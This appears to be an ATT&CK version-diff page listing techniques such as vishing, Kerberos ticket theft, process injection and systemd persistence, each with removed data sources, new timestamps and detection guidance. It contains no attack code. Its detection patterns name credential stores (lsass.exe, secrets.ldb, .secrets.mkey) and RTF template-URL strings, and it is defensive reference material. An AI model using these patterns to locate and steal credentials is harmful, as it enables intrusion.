descriptionAdversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient. + +All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth) + +Adversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient. + +All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth) + +Adversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)

[T1566.003] Phishing: Spearphishing via Service

Current version: 2.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:11:50.622000+00:002025-10-24 17:49:37.487000+00:00
x_mitre_detectionBecause most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. + +Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.

[T1608] Stage Capabilities

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:12:21.613000+00:002025-10-24 17:49:03.444000+00:00
x_mitre_detectionIf infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.

[T1132.001] Data Encoding: Standard Encoding

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:14.817000+00:002025-10-24 17:48:20.938000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1037.005] Boot or Logon Initialization Scripts: Startup Items

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Creation', 'Process: Process Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:20.168000+00:002025-10-24 17:49:19.678000+00:00
x_mitre_detectionThe /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. + +Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.

[T1528] Steal Application Access Token

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Active Directory: Active Directory Object Modification', 'User Account: User Account Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:49.300000+00:002025-10-24 17:49:04.660000+00:00
x_mitre_detectionAdministrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users. + +Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps. + +Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.

[T1558] Steal or Forge Kerberos Tickets

Current version: 1.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Logon Session: Logon Session Metadata', 'Active Directory: Active Directory Credential Request', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:25.352000+00:002025-10-24 17:48:41.885000+00:00
x_mitre_detectionMonitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection) + +Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) + +Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. + +Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015) + +Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored. + +Monitor for unusual processes accessing secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.

[T1001.002] Data Obfuscation: Steganography

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:29.907000+00:002025-10-24 17:49:35.060000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1027.003] Obfuscated Files or Information: Steganography

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:13:05.893000+00:002025-10-24 17:49:20.395000+00:00
x_mitre_detectionDetection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.

[T1565.001] Data Manipulation: Stored Data Manipulation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'File: File Creation', 'File: File Deletion']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:13:20.667000+00:002025-10-24 17:48:29.225000+00:00
x_mitre_detectionWhere applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.

[T1553] Subvert Trust Controls

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Windows Registry: Windows Registry Key Creation', 'File: File Metadata', 'Command: Command Execution', 'Process: Process Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:00.906000+00:002025-10-24 17:49:16.766000+00:00
x_mitre_detectionCollect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) + +Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure "Hide Microsoft Entries" and "Hide Windows Entries" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) + +Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.

[T1548.003] Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Process: Process Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:45:52.996000+00:002025-10-24 17:48:26.105000+00:00
x_mitre_detectionOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.

[T1573.001] Encrypted Channel: Symmetric Cryptography

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:14.636000+00:002025-10-24 17:48:32.429000+00:00
x_mitre_detectionWith symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. + +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1218] System Binary Proxy Execution

Current version: 3.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'File: File Creation', 'Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:27.332000+00:002025-10-24 17:48:43.406000+00:00
x_mitre_detectionMonitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. + +Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.

[T1497.001] Virtualization/Sandbox Evasion: System Checks

Current version: 2.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:16.253000+00:002025-10-24 17:48:33.591000+00:00
x_mitre_detectionVirtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.

[T1542.001] Pre-OS Boot: System Firmware

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Firmware: Firmware Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:09.046000+00:002025-10-24 17:48:26.714000+00:00
x_mitre_detectionSystem firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. + +Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)

[T1614.001] System Location Discovery: System Language Discovery

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:55.750000+00:002025-10-24 17:49:20.039000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.

[T1614] System Location Discovery

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:14:16.731000+00:002025-10-24 17:49:22.536000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020) + +Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.

[T1016] System Network Configuration Discovery

Current version: 1.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Script: Script Execution', 'Process: Process Creation', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:40.773000+00:002025-10-24 17:48:56.618000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1049] System Network Connections Discovery

Current version: 2.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:45.496000+00:002025-10-24 17:49:01.094000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1033] System Owner/User Discovery

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Active Directory: Active Directory Object Access', 'Process: OS API Execution', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Windows Registry: Windows Registry Key Access', 'File: File Access', 'Process: Process Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:02.301000+00:002025-10-24 17:48:20.366000+00:00
x_mitre_detection`System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.

[T1216] System Script Proxy Execution

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:23.298000+00:002025-10-24 17:49:37.665000+00:00
x_mitre_detectionMonitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.

[T1569] System Services

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Service: Service Creation', 'File: File Modification', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:10.127000+00:002025-10-24 17:49:25.548000+00:00
x_mitre_detectionMonitor for command line invocations of tools capable of modifying services that doesn’t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.

[T1124] System Time Discovery

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:21.176000+00:002025-10-24 17:49:36.399000+00:00
x_mitre_detectionCommand-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software. + +For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.

[T1543.002] Create or Modify System Process: Systemd Service

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Modification', 'Service: Service Creation', 'Service: Service Modification', 'Process: Process Creation', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:14.487000+00:002025-10-24 17:49:29.942000+00:00
x_mitre_detectionMonitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) + +Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -–type=service –all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd) + +Auditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution.

[T1053.006] Scheduled Task/Job: Systemd Timers

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Scheduled Job: Scheduled Job Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:55.648000+00:002025-10-24 17:49:11.261000+00:00
x_mitre_detectionSystemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. + +Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers –all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables. + +Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)

[T1542.005] Pre-OS Boot: TFTP Boot

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Firmware: Firmware Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:08.824000+00:002025-10-24 17:48:33.317000+00:00
x_mitre_detectionConsider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) + +Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.

[T1080] Taint Shared Content

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Share: Network Share Access', 'Process: Process Creation', 'File: File Modification', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:14.334000+00:002025-10-24 17:48:32.156000+00:00
x_mitre_detectionProcesses that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques. + +Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.

[T1221] Template Injection

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:16:15.516000+00:002025-10-24 17:49:28.862000+00:00
x_mitre_detectionAnalyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior. + +Monitor .rtf files for strings indicating the *\template control word has been modified to retrieve a URL resource, such as *\template http or *\template \u-.

[T1505.005] Server Software Component: Terminal Services DLL

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Command: Command Execution', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:15:45.110000+00:002025-10-24 17:48:39.258000+00:00
x_mitre_detectionMonitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\System\CurrentControlSet\services\TermService\Parameters\. + +Monitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\System32\. + +Monitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll. + +Monitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\System32\termsrv.dll, though an adversary could also use [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).

[T1055.003] Process Injection: Thread Execution Hijacking

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Process: Process Modification', 'Process: Process Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:28.558000+00:002025-10-24 17:48:42.433000+00:00
x_mitre_detectionMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1055.005] Process Injection: Thread Local Storage

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Modification', 'Process: Process Access', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:21.860000+00:002025-10-24 17:49:32.111000+00:00
x_mitre_detectionMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1547.003] Boot or Logon Autostart Execution: Time Providers

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:35.700000+00:002025-10-24 17:48:51.278000+00:00
